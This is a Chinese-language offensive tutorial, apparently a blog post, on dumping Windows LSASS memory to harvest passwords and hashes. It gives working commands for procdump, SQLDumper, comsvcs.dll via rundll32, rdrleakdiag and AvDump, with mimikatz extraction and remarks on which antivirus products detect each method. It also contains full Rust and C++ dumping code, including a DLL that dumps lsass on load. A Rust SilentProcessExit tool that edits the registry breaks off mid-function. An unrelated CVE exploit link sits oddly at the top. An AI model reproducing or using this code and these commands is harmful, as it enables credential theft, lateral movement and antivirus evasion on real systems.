[href](https://github.com/nu11secur1ty/Windows10Exploits/tree/master/2022/CVE-2022-21907)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2022/01/cve-2022-21907.html)

## Time spend:
05:30:00
            


前言

lsass.exe(Local Security Authority Subsystem Service进程空间中,存有着机器的域、本地用户名和密码等重要信息。如果获取本地高权限,用户便可以访问LSASS进程内存,从而可以导出内部数据(password),用于横向移动和权限提升。通过lsass转储用户密码或者hash也算是渗透过程中必不可少的一步,这里学习一下原理以及记录下多种转储方法。

[toc]

常规方法

mimikatz::logonpasswords

我们通常将这些工具称为LOLBins,指攻击者可以使用这些二进制文件执行超出其原始目的的操作。 我们关注LOLBins中导出内存的程序。

白名单工具

三个微软签名的白名单程序

Procdump.exe
SQLDumper.exe
createdump.exe

Procdump转储Lsass.exe的内存

ProcDump是微软签名的合法二进制文件,被提供用于转储进程内存。可以在微软文档中下载官方给出的ProcDump文件

用Procdump 抓取lsass进程dmp文件,

procdump64.exe -accepteula -ma lsass.exe lsass_dump

然后可以配置mimikatz使用

sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords

如果对lsass.exe敏感的话,那么还可以配合lsass.exe的pid来使用

procdump64.exe -accepteula -ma pid lsass_dum

这种原理是lsass.exe是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登陆系统时输入密码后,密码便会存贮在lsass.exe内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中,而Mimikatz正是通过对lsass.exe逆算获取到明文密码。

关于查杀情况,火绒病毒查杀并没有扫描到,360在13版本下也没检测到在14版本被查杀了。

SQLDumper.exe

Sqldumper.exe实用工具包含在 Microsoft SQL Server 中。 它生成用于调试目的SQL Server和相关进程的内存转储。

sqldumper的常见路径如下

C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe

C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe

C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe

SQLDumper.exe包含在Microsoft SQL和Office中,可生成完整转储文件。

tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100  导出mdmp文件

再本地解密即可需要使用相同版本操作系统。

mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

被360查杀,火绒没有检测

createdump.exe

随着.NET5出现的,本身是个native binary.虽然有签名同样遭到AV查杀

createdump.exe -u -f lsass.dmp lsass[PID]

同样会被360查杀

comsvcs.dll

comsvcs.dll主要是提供COM+ Services服务。每个Windows系统中都可以找到该文件,可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储。

该文件是一个白名单文件,我们主要是利用了Comsvsc.dll中的导出函数APIMiniDump来实现转储lsass.exe的目的,注意同样是需要管理员权限。因为需要开启SeDebugPrivilege权限。而在cmd中此权限是默认禁用的,powershell是默认启用的。
该文件位于C:\windows\system32\comsvcs.dll

可以这样使用如下方式来调用MiniDump实现转储lsass.exe进程:

powershell C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

360同样查杀,这种直接通过调用APIMiniDump来dump内存的行为还是太过敏感,不稍微修改很容易就被查杀。

其它工具

rdleakdiag.exe

默认存在的系统:

Windows 10 Windows 8.1 Windows 8 Windows7 windows Vista
软件版本 10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000
没有的情况可以选择传一个上去。

生成dmp内存文件

rdrleakdiag.exe /p <pid> /o <outputdir> /fullmemdmp /wait 1 Rst

会产生两个文件,results*+进程pid+.hlk,minidump*+进程pid+.dmp。然后同样使用mimikatz进行破解。

AvDump.exe

AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。所以一般不会被av查杀。
下载地址:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2
需要在ps中调用,否则cmd默认是不开启seDEBUGPrivilege权限的,但是现在360会检测到avdump.

.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0

但也是会被360查杀。

自主编写dll

调用APIMiniDump的一个demo

这里涉及到windows进程编程,可以先看看如何遍历windows下的进程。遍历进程需要几个API和一个结构体。

 1.创建进程快照
 2.初始化第一个要遍历的进程
 3.继续下次遍历
 4.进程信息结构体

创建进程使用CreateToolhelp32Snapshot

HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等
DWORD th32ProcessID //一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0
);

获取第一个进程句柄使用Process32First

BOOL WINAPI Process32First(
    HANDLE hSnapshot,//_in,进程快照句柄
    LPPROCESSENTRY32 lppe//_out,传入进程信息结构体,系统帮你填写.
);

获取下一个进程使用Process32Next

BOOL WINAPI Process32Next(
  HANDLE hSnapshot,        从CreateToolhelp32Snapshot 返回的句柄
  LPPROCESSENTRY32 lppe     指向PROCESSENTRY32结构的指针,进程信息结构体
);

其中还涉及到PROCESSENTRY32的结构体对我们有用的就是

  • dwSize 初始化结构体的大小
  • th32ProcessId 进程ID
  • szExeFile[MAX_PATH] 进程路径
    typedef struct tagPROCESSENTRY32 {
    DWORD dwSize; // 结构大小,首次调用之前必须初始化;
    DWORD cntUsage; // 此进程的引用计数,为0时则进程结束;
    DWORD th32ProcessID; // 进程ID;
    DWORD th32DefaultHeapID; // 进程默认堆ID;
    DWORD th32ModuleID; // 进程模块ID;
    DWORD cntThreads; // 此进程开启的线程计数;
    DWORD th32ParentProcessID;// 父进程ID;
    LONG pcPriClassBase; // 线程优先权;
    DWORD dwFlags; // 保留;
    char szExeFile[MAX_PATH]; // 进程全名;
    } PROCESSENTRY32;
    

    所以rust实现的代码如下

    fn getProcess(){
    unsafe{
        let mut handle =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD,0);
        let mut process_entry : PROCESSENTRY32 = zeroed();
        process_entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
        // let mut process_handle = null_mut();
    
        if !handle.is_null() {
            if Process32First(handle, &mut process_entry) == 1{
                loop {
                    let extFileName = OsString::from_wide(process_entry.szExeFile.iter().map(|&x| x as u16).take_while(|&x| x > 0).collect::<Vec<u16>>().as_slice());
                    println!("{:?}----------{:?}",extFileName,process_entry.th32ProcessID);
                    if Process32Next(handle, &mut process_entry) == 0{
                        break;
                    }
                }
            }
        }
    }
    }
    

完整dump lsass进程内存的代码

use std::{mem::{ size_of}, ffi::{CStr, OsString, c_void, OsStr}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
    CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID,
}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::OpenProcessToken, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD}, Storage::FileSystem::CreateFileA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
    CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
    MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
    CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};

use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};

fn getPrivilege(handle : HANDLE){
    unsafe{
        let mut h_token: HANDLE =  HANDLE::default();
        let mut h_token_ptr: *mut HANDLE = &mut h_token;
        let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
            PrivilegeCount: 1,
            Privileges: [LUID_AND_ATTRIBUTES {
                Luid: LUID {
                    LowPart: 0,
                    HighPart: 0,
                },
                Attributes: SE_PRIVILEGE_ENABLED,
            }],
        };
        // 打开当前进程的访问令牌
        let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
        if   token != 0 {
            let systemname  = ptr::null_mut();
            if  LookupPrivilegeValueA(
                systemname,
                b"SeDebugPrivilege\0".as_ptr(),
                &mut tkp.Privileges[0].Luid) != 0 {
                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                // println!("{:?}",tkp.Privileges[0].Attributes);
                // 提升当前进程的 SeDebugPrivilege 权限
                if  AdjustTokenPrivileges(
                    h_token,
                    0, 
                    &tkp  as *const TOKEN_PRIVILEGES, 
                    0, 
                    ptr::null_mut(), 
                    ptr::null_mut()) != 0 {
                    println!("Token privileges adjusted successfully");
                } else {
                    let last_error = GetLastError() ;
                    println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
                }
            } else {
                let last_error = GetLastError() ;
                println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
            }
            // 关闭访问令牌句柄
                CloseHandle(h_token);
        } else {
            let last_error = GetLastError() ;
            println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
        }
    }
}

fn getProcess(LsassFile : &str) {

    unsafe{
        let mut h_snapshot =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if h_snapshot == INVALID_HANDLE_VALUE {
            println!("Failed to call CreateToolhelp32Snapshot");
        }
        let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>()   ;
        process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;

        if Process32First(h_snapshot, &mut process_entry) == 0 {
            println!("Process32First error");
        }

        loop {
            let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
            let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
            if extfile.starts_with("lsass.exe"){
                println!("[+] Got {:?} PID: {:?}",extfile,process_entry.th32ProcessID);
                break;
            }
            if Process32Next(h_snapshot, &mut process_entry) == 0 {
                println!("Failed to call Process32Next");
                break;
            }
        }
        let lsass_pid = process_entry.th32ProcessID;
        let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsass_pid);
        if process_handle == 0 {
            println!("Fail to open the process ");
        }
        let lsassFile = LsassFile;
        let lsassFile: Vec<u16> = OsStr::new(lsassFile).encode_wide().chain(Some(0).into_iter()).collect();
        let lsasshandle = CreateFileW(
            lsassFile.as_ptr() as *const u16,
            GENERIC_ALL,
            0,
            ptr::null_mut(),
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            0,
        );
        if lsasshandle == INVALID_HANDLE_VALUE {
            println!("Fail to open/create file {:?}",LsassFile.to_string());
        }
        let result = MiniDumpWriteDump(
            process_handle,
            lsass_pid,
            lsasshandle,
            MiniDumpWithFullMemory,
            ptr::null_mut(),
            ptr::null_mut(),
            ptr::null_mut(),
        );
        println!("{:?}",result);
        if result == 1
        {
            println!("Dump successful with file  {:?}",LsassFile.to_string());
        } else {
            println!("Dump error {:?}", GetLastError());
        }
        let status = CloseHandle(lsasshandle);
        if status != 1 {
            error!("Fail to Close file handle");
        }
    }
}

fn main() {
    let matches = App::new("SysWhispers3 - SysWhispers on steroids")
    .arg(Arg::with_name("DumpFileName")
        .short("f")
        .long("DumpFileName")
        .takes_value(true)
        .help("DumpFileName Path like C:\\temp.dmp")).get_matches();
    let mut out_file = "";
    if   matches.is_present("DumpFileName") {
        out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
    }else {
        out_file = "lsass.dmp";
    }
    getProcess(out_file);

}

当然我们直接这样写的代码肯定是会被无情的拦截的,这类API大家已经再熟悉不过了,肯定是被拦截的很严重的。

编写Dump Lsass的DLL(yes)

其实就是为了解决直接使用Comsvsc.dll中的APIMiniDump函数容易被用户模式下的API hook拦截的问题。dll编写的思路一般是

  • 获取Debug权限
  • 找到lsass的PID
  • 使用MiniDump或MiniDumpWriteDump进行内存dump

首先需要解决权限提升的问题,这里常用的是RtlAdjustPrivilege函数来进行权限提升,这个函数封装在NtDll.dll中。这个函数的定义和解释:

NTSTATUS RtlAdjustPrivilege(
  ULONG               Privilege,
  BOOLEAN             Enable,
  BOOLEAN             CurrentThread,
  PBOOLEAN            Enabled
);

函数说明:

RtlAdjustPrivilege 函数用于启用或禁用当前线程或进程的特权。调用此函数需要进程或线程具有 SE_TAKE_OWNERSHIP_NAME 特权或调用者已经启用了此特权。

参数说明:

  • Privilege:要调整的特权的标识符。可以是一个 SE_PRIVILEGE 枚举值或一个特权名称字符串。
  • Enable:指示是启用(TRUE)还是禁用(FALSE)特权。
  • CurrentThread:指示要调整特权的是当前线程(TRUE)还是当前进程(FALSE)。
  • Enabled:输出参数,返回调整特权操作的结果。如果特权成功启用或禁用,则返回 TRUE;否则返回 FALSE。

返回值:

  • 如果函数成功执行,则返回 STATUS_SUCCESS;否则返回错误代码。

需要注意的是,该函数并不是公开的 Win32 API 函数,而是 Windows 内核函数,只能从其他内核函数中调用。

我们首先调用 OpenProcessToken 函数打开当前进程的访问令牌。然后,使用 LookupPrivilegeValue 函数获取 SE_DEBUG_NAME 权限的本地权限 ID。接着,我们定义了一个 TOKEN_PRIVILEGES 结构体,将 SE_DEBUG_NAME 权限添加到该结构体中,并通过 AdjustTokenPrivileges 函数提升当前进程的权限。最后,我们关闭了访问令牌句柄并退出程序。
所以提升权限可以这样写

void getPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    // 打开当前进程的访问令牌
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        // 获取 SeDebugPrivilege 权限的本地权限 ID
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            // 提升当前进程的 SeDebugPrivilege 权限
            if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
            {
                std::cout << "Token privileges adjusted successfully" << std::endl;

                // 关闭访问令牌句柄
                CloseHandle(hToken);
            }
            else {
                std::cout << "AdjustTokenPrivileges faile" << std:endl;
            }
        }
        else {
            std::cout << "LookupPrivilegeValue faile" << std::endl;
        }
    }
    else {
        std::cout << "OpenProcessToken faile" << std::endl;
    }

}

再配合上获取lsass进程pid和dump 进程后完整代码就是

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(hSnapshot, &entry)) {
        while (Process32Next(hSnapshot, &entry)) {
            if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
                return entry.th32ProcessID;
            }
        }
    }

    CloseHandle(hSnapshot);
    return 0;
}
void getPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    // 打开当前进程的访问令牌
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        // 获取 SeDebugPrivilege 权限的本地权限 ID
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            // 提升当前进程的 SeDebugPrivilege 权限
            if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
            {
                cout << "Token privileges adjusted successfully" << endl;

                // 关闭访问令牌句柄
                CloseHandle(hToken);
            }
            else {
                cout << "AdjustTokenPrivileges faile" << endl;
            }
        }
        else {
            cout << "LookupPrivilegeValue faile" << endl;
        }
    }
    else {
        cout << "OpenProcessToken faile" << endl;
    }

}
void DumpLsass()
{
    wchar_t  ws[100];
    _MiniDumpW MiniDumpW;

    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    cout << "GetProcAddress MiniDumpW success" << endl;
    swprintf(ws, 100, L"%u %hs", GetLsassPid(), "C:\\temp.bin full");   

    getPrivilege();

    MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DumpLsass();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
int main() {
    DumpLsass();
}

SilentProcessExit进行Dump

具体原理参考文章:利用SilentProcessExit机制dump内存

Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。在某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,从这一点上看,我们是有可能可以利用该行为进行目标进程内存的Dump。

优点:系统正常行为
缺点:需要写注册表

该机制提供了在两种情况下可以触发对被监控进行进行特殊动作的能力:

  • (1)被监控进程调用 ExitProcess() 终止自身;
  • (2)其他进程调用 TerminateProcess() 结束被监控进程。

也就意味着当进程调用ExitProcess() 或 TerminateProcess()的时候,可以触发对该进程的如下几个特殊的动作:

- 启动一个监控进程
- 显示一个弹窗
- 创建一个Dump文件

但由于该功能默认不开启,我们需要对注册表进行操作,来开启该功能,主要的注册表项为:

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
名称               类型               数据
DumpType            REG_DWORD     完全转储目标进程内存的值为MiniDumpWithFullMemory (0x2)
LocalDumpFolder     REG_SZ        (DUMP文件被存放的目录,默认为%TEMP%\\Silent Process Exit)c:\temp
ReportingMode(REG_DWORD)    REG_DWORD   a)LAUNCH_MONITORPROCESS (0x1) – 启动监控进程;
                                              b)LOCAL_DUMP (0x2) – 为导致被监控进程终止的进程和被监控进程本身 二者 创建DUMP文件;
                                              c)NOTIFICATION (0x4) – 显示弹窗。

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
名称              类型          数据
GlobalFlag      REG_DWORD     0x200

另外就是第二个注册表,这个主要是设置dump内存的一些细节问题,比如dump的位置、崩溃后操作的类型,这类选择的是LOCAL_DUMP,即0x2也就是为导致终止的进程和终止的进程创建一个转储文件。

这里我们需要使用的是MiniDumpWithFullMemory对应的值是0x2。
kgmsmtjnu1v13127.png

关于MiniDumpWithFullMemory,其都定义在MINIDUMP_TYPE之中,其结构体如下:

typedef enum _MINIDUMP_TYPE {
  MiniDumpNormal,
  MiniDumpWithDataSegs,
  MiniDumpWithFullMemory,
  MiniDumpWithHandleData,
  MiniDumpFilterMemory,
  MiniDumpScanMemory,
  MiniDumpWithUnloadedModules,
  MiniDumpWithIndirectlyReferencedMemory,
  MiniDumpFilterModulePaths,
  MiniDumpWithProcessThreadData,
  MiniDumpWithPrivateReadWriteMemory,
  MiniDumpWithoutOptionalData,
  MiniDumpWithFullMemoryInfo,
  MiniDumpWithThreadInfo,
  MiniDumpWithCodeSegs,
  MiniDumpWithoutAuxiliaryState,
  MiniDumpWithFullAuxiliaryState,
  MiniDumpWithPrivateWriteCopyMemory,
  MiniDumpIgnoreInaccessibleMemory,
  MiniDumpWithTokenInformation,
  MiniDumpWithModuleHeaders,
  MiniDumpFilterTriage,
  MiniDumpWithAvxXStateContext,
  MiniDumpWithIptTrace,
  MiniDumpScanInaccessiblePartialPages,
  MiniDumpValidTypeFlags
} MINIDUMP_TYPE;

下面就是让lsass进程终止了,但是lsass.exe是系统进程,如果彻底终止就会导致系统蓝屏从而重启电脑,但是我们的目的只是为了转储lsass进程而不让电脑重启,这个时候我们就用到了RtlReportSilentProcessExit这个api,该API将与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。值得注意的是,调用此API不会导致进程退出。其定义如下:


NTSTATUS (NTAPI * RtlReportSilentProcessExit )(
        _In_      HANDLE      ProcessHandle,
        _In_      NTSTATUS    ExitStatus 
       );

所以最终的流程就是类似如图
hebghaq1y3013128.png

作者的代码中,提供了两种方法来实现崩溃,一种是直接调用RtlReportSilentProcessExit,而另一种则是使用CreateRemoteThread()来实现,实际上就是远程在LSASS中创建线程执行RtlReportSilentProcessExit

这里使用的是第一种方式来实现的。
代码 https://github.com/haoami/RustHashDump

use std::{mem::{ size_of, transmute}, ffi::{CStr, OsString, c_void, OsStr, CString}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}, ptr::null_mut, process::ExitStatus};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
    CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID, NTSTATUS,
}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::{OpenProcessToken, GetCurrentProcess, PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_READ}, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD, Registry::{HKEY_LOCAL_MACHINE, HKEY, RegOpenKeyExW, KEY_READ, KEY_WRITE, RegCreateKeyExW, KEY_SET_VALUE, RegSetValueExA, REG_DWORD, KEY_ALL_ACCESS, REG_SZ, RegCreateKeyA, REG_CREATED_NEW_KEY}, LibraryLoader::{GetModuleHandleA, GetProcAddress, GetModuleHandleW}}, Storage::FileSystem::CreateFileA, UI::WindowsAndMessaging::GetWindowModuleFileNameA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
    CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
    MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
    CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};

use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};

type FnRtlreportSilentProcessExit = unsafe extern "system" fn(HANDLE, NTSTATUS) -> NTSTATUS;

fn getPrivilege(handle : HANDLE){
    unsafe{
        let mut h_token: HANDLE =  HANDLE::default();
        let mut h_token_ptr: *mut HANDLE = &mut h_token;
        let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
            PrivilegeCount: 1,
            Privileges: [LUID_AND_ATTRIBUTES {
                Luid: LUID {
                    LowPart: 0,
                    HighPart: 0,
                },
                Attributes: SE_PRIVILEGE_ENABLED,
            }],
        };
        // 打开当前进程的访问令牌
        let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
        if   token != 0 {
            let systemname  = ptr::null_mut();
            if  LookupPrivilegeValueA(
                systemname,
                b"SeDebugPrivilege\0".as_ptr(),
                &mut tkp.Privileges[0].Luid) != 0 {
                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                // println!("{:?}",tkp.Privileges[0].Attributes);
                // 提升当前进程的 SeDebugPrivilege 权限
                if  AdjustTokenPrivileges(
                    h_token,
                    0, 
                    &tkp  as *const TOKEN_PRIVILEGES, 
                    0, 
                    ptr::null_mut(), 
                    ptr::null_mut()) != 0 {
                    println!("Token privileges adjusted successfully");
                } else {
                    let last_error = GetLastError() ;
                    println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
                }
            } else {
                let last_error = GetLastError() ;
                println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
            }
            // 关闭访问令牌句柄
                CloseHandle(h_token);
        } else {
            let last_error = GetLastError() ;
            println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
        }
    }
}

fn getPid(ProcessName : &str) -> u32{
    unsafe{
        let mut h_snapshot =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if h_snapshot == INVALID_HANDLE_VALUE {
            println!("Failed to call CreateToolhelp32Snapshot");
        }
        let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>()   ;
        process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;

        if Process32First(h_snapshot, &mut process_entry) == 0 {
            println!("Process32First error");
        }

        loop {
            let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
            let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
            if extfile.starts_with(ProcessName){

                break;
            }
            if Process32Next(h_snapshot, &mut process_entry) == 0 {
                println!("Failed to call Process32Next");
                break;
            }
        }
        process_entry.th32ProcessID
    }
}
fn setRegisterRegs() {
    unsafe{
        let key = HKEY_LOCAL_MACHINE;
        let  IFEO_REG_KEY = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe";
        let  SILENT_PROCESS_EXIT_REG_KEY= r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe";

        let subkey = OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<_>>();
        let mut hKey = HKEY::default();

        let mut hSubKey = HKEY::default();
        let ret = RegCreateKeyExW(
            key,
            OsString::from(SILENT_PROCESS_EXIT_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(),
            0, 
            null_mut(), 
            0, 
            KEY_ALL_ACCESS, 
            ptr::null_mut(), 
            &mut hSubKey, 
            ptr::null_mut());
        if ret != 0   {
            println!("{:?}",ret);
            println!("[-] CreateKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let DumpTypevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ;
        let DumpTypekey = CString::new("DumpType").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            DumpTypekey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            DumpTypevalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetDumpTypeKey SilentProcessExit\\lsass.exe  ERROR\n");
        }

        let ReportingModevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ;
        let ReportingModekey = CString::new("ReportingMode").unwrap();

        let ret = RegSetValueExA(
            hSubKey,
            ReportingModekey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            ReportingModevalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModevalueKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let ReportingModevalue = "C:\\temp" ;
        let ReportingModekey = CString::new("LocalDumpFolder").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            ReportingModekey.as_ptr() as *const u8,
            0,
            REG_SZ,
            ReportingModevalue.as_ptr(),
            ReportingModevalue.len() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let mut hSubKey = HKEY::default();
        let ret = RegCreateKeyExW(
            key,
            OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(),
            0, 
            null_mut(), 
            0, 
            KEY_ALL_ACCESS, 
            ptr::null_mut(), 
            &mut hSubKey, 
            ptr::null_mut());
        if ret != 0  {
            println!("[-] CreateKey {:?} ERROR\n",IFEO_REG_KEY);
        }

        let GlobalFlagvalue = std::mem::transmute::<&i32,*const u8>(&0x0200) ;
        let GlobalFlagkey = CString::new("GlobalFlag").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            GlobalFlagkey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            GlobalFlagvalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n");
        }
        println!("SetRegistryReg successful!");
    }
}

fn main() {
    let matches = App::new("SysWhispers3 - SysWhispers on steroids")
    .arg(Arg::with_name("DumpFileName")
        .short("f")
        .long("DumpFileName")
        .takes_value(true)
        .help("DumpFileName Path like C:\\temp.dmp")).get_matches();
    let mut out_file = "";
    if   matches.is_present("DumpFileName") {
        out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
    }else {
        out_file = "lsass.dmp";
    }
    // getProcess(out_file);
    getPrivilege(unsafe { GetCurrentProcess() });
    setRegisterRegs();
    let lsassPid = getPid("lsass.exe");
    let process_handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPid) };
    if process_handle == 0 {
        println!("Fail to open the Lsassprocess ");
    }
    unsafe{
        let ntdll_module_name: Vec<u16> = OsStr::new("ntdll.dll").encode_wide().chain(Some(0).into_iter()).collect();
        let h_nt_mod =  GetModuleHandleW(ntdll_module_name.as_ptr());

        if h_nt_mod ==0 {
